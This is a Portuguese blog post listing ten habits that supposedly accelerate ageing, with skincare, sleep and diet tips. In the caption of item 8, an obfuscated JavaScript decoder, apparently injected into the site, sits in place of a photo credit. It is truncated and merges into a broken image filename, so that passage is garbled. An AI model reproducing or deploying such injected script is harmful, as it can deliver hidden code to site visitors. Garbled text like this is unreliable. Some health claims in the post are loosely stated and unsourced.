10 hábitos que nos fazem envelhecer mais rapidamente

Mar 15, 2017 | Saúde e bem estar

10 hábitos que nos fazem envelhecer mais rapidamente

Envelhecer é algo que nos acontece diariamente já que ninguém está imune à passagem do tempo. Mas, apesar de não haver uma fórmula milagrosa para parar o tempo, existem vários hábitos que devemos deixar caso queiramos manter a nossa vitalidade.
É fundamental cuidarmos de nós para que possamos retardar o envelhecimento e para que este não traga complicações à nossa saúde nem comprometa a nossa qualidade de vida. Esteja atento. Hoje mostro-lhe 10 hábitos que nos fazem envelhecer mais rapidamente.

1 – Stress

O stress do dia-a-dia pode diminuir a oxigenação da pele e aumenta a acumulação de toxinas, o que deixa a sua pele com um aspecto pouco atraente. Sempre que possível, evite situações de stress e tire algum tempo para relaxar e para repor energias.

10 hábitos que nos fazem envelhecer mais rapidamente – Stress | Foto: inversionfemme

2 – Dormir de lado

Estudos dizem que a posição em que dormimos também tem influência no envelhecimento prematuro. A melhor maneira de dormir é de barriga para cima. E porquê? Porque se dormir de lado irá pressionar o rosto, o que causará rugas e marcará a pele.

10 hábitos que nos fazem envelhecer mais rapidamente – Dormir de lado | Foto: fmdos

3 – Dormir pouco

Dormir pouco causa danos à saúde, principalmente à do seu coração, e acelera o processo de envelhecimento. Isto acontece porque compromete o colagénio, que é responsável por uma pele firme e sem rugas. O nosso corpo precisa de descanso para recuperar do cansaço do dia-a-dia e é durante a noite que o organismo produz melatonina, hormona de rejuvenescimento. Por isso, o melhor é mesmo dormir uma média de oito horas por dia para atenuar o processo de envelhecimento e para ter uma pele mais bonita.

10 hábitos que nos fazem envelhecer mais rapidamente – Dormir pouco | Foto: dicasdieta

4 – Não usar creme hidratante

É necessário ter cuidados e proteger a pele do vento, do frio, da poluição e dos raios solares. Um rosto bem hidratado tem uma boa elasticidade e evita as rugas. Portanto, além de beber água durante o dia, a pele terá benefícios extras se for diariamente hidratada com cremes e loções.

10 hábitos que nos fazem envelhecer mais rapidamente – Não usar creme hidratante  | Foto: muitobom

5 – Não usar protector solar

Uma das principais causas de envelhecimento precoce é a exposição da pele a raios ultravioleta. O sol, garantem os especialistas, é o maior vilão do envelhecimento das células da pele, além de ser responsável pelo cancro de pele. Por isso, não se exponha ao sol durante muito tempo e use protector solar todos os dias.

10 hábitos que nos fazem envelhecer mais rapidamente – Não usar protetor solar | Foto: nadafragil

6 – Esfregar os olhos

Esfregar muito os olhos faz com que a pele ao redor escureça. Com o tempo, a pigmentação da pele ficará mais escura, fazendo com que a pessoa tenha uma aparência mais velha. E isto também causa o afastamento da pálpebra inferior e das maçãs do rosto, fazendo com que os olhos fiquem mais fundos.

10 hábitos que nos fazem envelhecer mais rapidamente – Esfregar os olhos | Foto: hospitalruimarinho

7 – Consumir álcool em excesso

O consumo de álcool em excesso é um grande inimigo da beleza e da jovialidade. Isto porque ingerir bebidas alcoólicas diminui a absorção dos nutrientes necessários para manter a elasticidade da pele.

Para piorar, o rosto de quem bebe demais fica vermelho porque o álcool dilata os vasos sanguíneos. Outro ponto negativo é que o consumo de álcool provoca a desidratação da pele, o que pode fazer com que as rugas apareçam mais cedo.

10 hábitos que nos fazem envelhecer mais rapidamente - Consumir álcool em excesso | Foto: propostanatural

8 – Má alimentação (sem verduras e fruta)

As verduras e a fruta combatem a acção negativa dos radicais livres no nosso organismo. Uma dieta sem estes nutrientes é meio caminho andado para o envelhecimento precoce. Tome nota: alimentos que contêm vitamina E (amêndoas, nozes, gema de ovo...) e C (laranja, limão, lima, morango...) são os principais nutrientes no combate ao envelhecimento, pois têm um efeito protector devido aos antioxidantes presentes na sua composição.

Saiba que ainda que ter uma alimentação à base de gorduras saturadas e excesso de carboidratos contribui para um envelhecimento mais acentuado.

10 hábitos que nos fazem envelhecer mais rapidamente - Má alimentação (sem verduras e fruta) | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaando-esta-estressado-2.jpg"> comovivermelhor

9 – Falta ou excesso de exercício físico

Tanto o sedentarismo como o excesso de exercício são nocivos e aceleram o envelhecimento. Ambos contribuem para a má qualidade de sono, irritabilidade, depressão, entre outros problemas. O que está certo é a prática de exercício físico dentro dos limites de cada um. Aconselhe-se com o seu preparador físico.

10 hábitos que nos fazem envelhecer mais rapidamente - Falta ou excesso de exercício físico | Foto: dicasdetreino

10 - Não retirar a maquilhagem

Eu nunca me deito sem retirar completamente a maquilhagem, e você? É importante: não se esqueça de retirar a maquilhagem, já que esta obstrói os poros, causando danos à sua pele.

10 hábitos que nos fazem envelhecer mais rapidamente - Retirar a maquilhagem | Foto: trrsf

Evitar o envelhecimento e ter uma melhor qualidade de vida parte de cada um de nós. Comece agora a cuidar do seu corpo, da sua mente e da sua pele. Beba muita água, alimente-se bem, tenha uma atitude positiva e aprenda algo novo todos os dias. Ame intensamente e divirta-se muito. Essa é a minha fórmula para a verdadeira juventude. E como dizia William Shakespeare “A alegria evita mil males e prolonga a vida”.

Se leu estes 10 hábitos que nos fazem envelhecer mais rapidamente, leia também mais sobre como manter a boa forma todo o ano. Saiba quais são as melhores combinações alimentares e como chegar com saúde à velhice.